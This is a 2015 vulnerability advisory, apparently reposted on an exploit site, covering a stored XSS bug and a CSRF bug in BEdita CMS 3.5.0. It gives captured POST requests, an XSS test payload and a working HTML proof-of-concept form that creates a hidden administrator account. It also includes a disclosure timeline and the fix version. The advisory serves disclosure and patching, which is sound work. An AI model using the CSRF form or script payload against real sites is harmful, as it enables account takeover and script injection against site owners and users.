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BEdita CMS 3.5.0 XSS & CSRF Vulnerabilities
[BEdita CMS - XSS & CSRF Vulnerability in Version 3.5.0 ---------------------------------------------------------------- Product Information: Software: BEdita CMS Tested Version: 3.5.0, released 19.1.2015 Vulnerability Type: Cross-Site Scripting (CWE-79) & Cross-Site Request Forgery, CSRF (CWE-352) Download link: http://www.bedita.com/download-bedita Description: A software to create, manage content and organize it with semantic rules. (copied from http://www.bedita.com/what-is-bedita) ---------------------------------------------------------------- Issues: 1) XSS in newsletter mail group creation page. 2) CSRF in user creation page. ---------------------------------------------------------------- Vulnerability description: 1) XSS in newsletter mail group creation page When an authenticated user of BEdita CMS is creating a newsletter mail group, the following POST request is sent to the server: POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/saveMailGroups HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Content-Length: 523 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/viewMailGroup/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132 data[MailGroup][id]=&data[MailGroup][group_name]=<script>alert(0)</script>&data[MailGroup][area_id]=1&data[MailGroup][visible]=1&data[MailGroup][security]=none&data[MailGroup][confirmation_in_message]=Hi [$user], your+subscription+is+now+active,+soon+you'll+receive+the "[$title]"+newsletter.&data[MailGroup][confirmation_out_message]=Hi [$user], you+have+been+unsubscribed+from "[$title]" The parameter data[MailGroup][group_name] is vulnerable to XSS. 2) CSRF in user creation page When an authenticated administrative user of BEdita CMS is creating an user, the following POST request is sent to the server: POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/users/saveUser HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Content-Length: 339 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/users/viewUser Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132 data[User][auth_type]=bedita&data[User][userid]=csrfadmin99&data[User][auth_params][userid]=&pwd=1qazXSW@&data[User][passwd]=1qazXSW@&data[User][realname]=csrfadmin99&data[User][email]=csrfadmin99@admin.com&data[User][valid]=1&groups=&data[groups][administrator]=on By executing the following Proof-of-Concept, a new user called "csrfadmin99" will be created with the password "1qazXSW@". <html> <body> <form action="http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/users/saveUser" method="POST"> <input type="hidden" name="data[User][auth_type]" value="bedita" /> <input type="hidden" name="data[User][userid]" value="csrfadmin99" /> <input type="hidden" name="pwd" value="1qazXSW@" /> <input type="hidden" name="data[User][passwd]" value="1qazXSW@" /> <input type="hidden" name="data[User][realname]" value="csrfadmin99" /> <input type="hidden" name="data[User][email]" value="csrfadmin99@admin.com" /> <input type="hidden" name="data[User][valid]" value="1" /> <input type="hidden" name="data[groups][administrator]" value="on" /> <input type="submit" value="Submit request" /> </form> </body> </html> ---------------------------------------------------------------- Impact: 1) An attacker is able to leverage on the XSS vulnerability to exploit users of BEdita. An example would be to Inject malicious JavaScript code in order to use attacking tools like BeEF. 2) An attacker is able to create an user account with administrator privilege. ---------------------------------------------------------------- Solution: Update to the latest version, which is 3.5.1, see https://groups.google.com/forum/?fromgroups#!topic/bedita/SOYrl5C-YRg ---------------------------------------------------------------- Timeline: Vulnerability found: 11.2.2015 Vendor informed: 11.2.2015 Response by vendor: 11.2.2015 Fix by vendor 19.2.2015 Public Advisory: 1.3.2015 ---------------------------------------------------------------- References: https://github.com/bedita/bedita/issues/591 https://github.com/bedita/bedita/issues/597 ---------------------------------------------------------------- Best regards, Edric Teo # 0day.today [2024-12-26] #